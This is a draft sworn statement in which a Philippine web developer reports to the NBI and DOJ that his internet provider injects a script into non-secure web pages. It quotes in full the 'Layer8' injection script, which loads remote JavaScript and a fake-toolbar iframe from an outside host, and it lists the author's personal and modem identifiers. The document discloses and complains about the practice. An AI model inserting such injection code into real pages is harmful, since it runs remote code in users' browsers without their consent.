Sworn statement Globe hacking websites (draft v0.1)

I, Gustaaf Hendrik Ellenkamp, born April 22, 1963 in Zwolle, The Netherlands, living in "The Malasag House", Malasag, Cugman, 9000 Cagayan de Oro City, Philippines, permanent resident of The Philippines under ACR number swear that I have found that internet service provider, Innove Communications, Inc., a subsidiary of Globe Telecom, Inc., after this to be referred as Globe, is inserting malware or spyware scripts in virtually all non secure web pages I open in my house/office.

 I have checked with a friend of mine who is a lawyer whether this is a criminal offense. He presumed this is a criminal offense (cybercrime) called hacking. I presume it also is copyright infringement for the owners of all the websites I open through this Globe connection, including the website of Department of Justice and the National bureau of Iinvestigation, as I have found the script in these websites, next to most other website I open when using the internet connection from Globe and what to do to report a criminal offense like this.

I swear that I am quite sure that the script at the bottom of many web pages is not part of e.g. the websites http://www.nbi.gov.ph/ and http://www.doj.gov.ph/ as they have been made available by the NBI and the DOJ through their web server. The script is as follows and it is inserted just before the ' </body>' tag, becoming in integral part of the specific web page:

<!-- Layer8 version 2.0.0.107 --><script>if(top==window){var fn_selector_insertion_script="http://toolbar.mywebacceleration.com/tbpreload.js";runFnTbScript = function(){try{var tbInsertion = new FNH.TBInsertion();var tbData = "PFRCRGF0YT48VEJEYXRhSXRlbSBuYW1lPSJob3N0X3VybCIgdmFsdWU9Imh0dHA6Ly93d3cuZG9qLmdvdi5waC8iID48L1RCRGF0YUl0ZW0+PFRCRGF0YUl0ZW0gbmFtZT0iaW5zZXJ0aW9uIiB2YWx1ZT0iaHR0cDovL3Rvb2xiYXIubXl3ZWJhY2NlbGVyYXRpb24uY29tL3NvdXJjZXMvaW5mcmEvanMvaW5zZXJ0aW9uX3BjLmpzIiBjb25maWd1cmF0aW9uPSJjcnVlIiA+PC9UQkRhdGFJdGVtPjwvVEJEYXRhPg==";tbInsertion.parseTBData(tbData);var fnLayer8=tbInsertion.createIframeElement("fn_layer8", "http://toolbar.mywebacceleration.com/Globe/fakeToolbar.html");var owner;if(document.body){owner=document.body;}else{owner=document.documentElement;}var shouldAddDiv=tbInsertion.getAttributeFromTBData("div_wrapper");if(shouldAddDiv){var divWrpr=tbInsertion.createElement("div", "fn_wrapper_div");divWrpr.style.position="fixed";divWrpr.ontouchstart=function(){return true;};if (typeof fnLayer8 != "undefined")divWrpr.appendChild(fnLayer8);owner.appendChild(divWrpr);}else{if (typeof fnLayer8 != "undefined")owner.appendChild(fnLayer8);}var result=tbInsertion.getAttributeFromTBData("insertion");if(result){scriptLocation=result;}else{scriptLocation="http://toolbar.mywebacceleration.com/sources/infra/js/insertion_pc.js"}var fnd=document.createElement("script");fnd.setAttribute("src",scriptLocation);fnd.setAttribute("id","fn_toolbar_script");fnd.setAttribute("toolbardata",tbData);fnd.setAttribute("toolbarhash","m2cOqs3f0Qxv

Wz/IdlmgiQ==");fnd.setAttribute("persdata","PFByaXZhdGVEYXRhPg0KPFByaXZhdGVJdGVtIGtleT0iY2xvc
2VkIiB2YWx1ZT0iZmFsc2UiPg0KPC9Qcml2YXRlSXRlbT4NCjxQcml2YXRlSXRlbSBrZXk9Im1pbmltaXplICIgd
mFsdWU9ImZhbHNlIj4NCjwvUHJpdmF0ZUl0ZW0+DQo8UHJpdmF0ZUl0ZW0ga2V5PSJkZWZhdWx0UGVy
c1ZhbHVlcyIgdmFsdWU9InRydWUiPg0KPC9Qcml2YXRlSXRlbT4NCjwvUHJpdmF0ZURhdGE+");document.
body.appendChild(fnd);}catch(e){console.error("TB preload script failed: " + e);}};var
fne=document.createElement("script");fne.setAttribute("src",fn_selector_insertion_script);fne.setAttrib
ute("id","fn_selector_insertion_script");if(fne.addEventListener){fne.onload = runFnTbScript;}else
{fne.onreadystatechange = function(){if ((this.readyState == "complete") || (this.readyState ==
"loaded")) runFnTbScript();}};if(document.head==null || document.head=="undefined"
){document.head =
document.getElementsByTagName("head")[0];}document.head.appendChild(fne);};</script>

As far as I was able to determine this scripts has been inserted somewhere between your hosting server and my computer. I have carefully checked websites I am responsible for and I am sure the script is not part of the web page when sent from the hosting server. I also checked my computers for viruses and malware to determine whether the script is being inserted by a virus or other means on my own computers and I found none. As the script contains the word Globe it is most likely Globe is responsible for inserting this script.

My findings have been confirmed by other people using a similar internet connection from Globe, so I am not the only one experiencing this issue.

Being a web developer and very familiar with websites, web hosting and web browsers I would call the above script are called malware or spyware. Websites I am responsible for have been hacked in a similar way, making my hosting provider decide to block the affected sites. Also Google will block sites with inserted scripts like this, but as Google will never see the script as it is presumably inserted through Globe while passing through their infrastructure.

I swear I have investigated this issue thoroughly using different browsers, computers and other services and the above script is only inserted in websites when using the Globe connection available to me.

As I believe this is a very serious issue of invasion of privacy and breach of trust of the internet industry as a renowned company Globe Telecom, Inc. is involved I would kindly ask you to investigate this issue and take appropriate measures. If we can't trust companies like Globe Telecom, Inc. anymore to just deliver internet content as provided by the sender, who can we trust? And if my internet service provider is changing web pages, is he also changing my e-mails, either the e-mails I am sending or the ones I receive? Like the one I am sending right now?

Please note that I am reporting this as a concerned website owner, a concerned website developer and a concerned human being, not as a customer of Innove Communications, Inc. As indicated in earlier communication to the NBI and the DOJ I am willing to cooperate to stop these practices that I

presume to be criminal, and provide you with everything you may need for your investigations or other actions,

As this practice is still ongoing I am writing you to provide you with some more details:

1. The script is being inserted in virtually all non-secure websites I open through the Globe connection available to me just before the '</body>' tag.
2. The script must be inserted somewhere between web hosts and my router. Opening the same websites on different locations or with different internet connections doesn't show the script.
3. The internet modem details are:
    a. Brand: HUAWEI.
    b. Model: B593S-22
    c. IMEI number: 860091021101447.
    d. S/N: S27Z7SA9390400963.
    e. Connection type: Tattoo@home.
    f. IP address: 10.184.9.98.
    g. A sticker on the modem indicates the modem is property of Globe.
4. The modem is provided as a replacement of another modem, which was disconnected by Globe without reason.
5. I remember the connection through the previous modem having a similar issue but I cannot verify that as the connection was disabled by Globe.
6. Details of the previous modem:
    a. Brand; HUAWEI.
    b. Model: BM622i.
    c. MAC: 285FDB283E10.
    d. S/N: 500810118104028713.
    e. Connection type: WIMAX.

Please note that this alleged hacking apparently is being done within the Globe infrastructure in real time and that the result is only visible in real time through connections and in websites where Globe decides to insert the script, not on the internet in general.

This means evidence is only available on location and in real time. For this reason it cannot be retained. Internet research confirmed my findings, including a statement from Globe being aware of this script.

As indicated before I would also appreciate if you would keep me informed about the progress of your investigation and action taken as I believe this is a serious matter where most people don't seem to understand its implications and seriousness.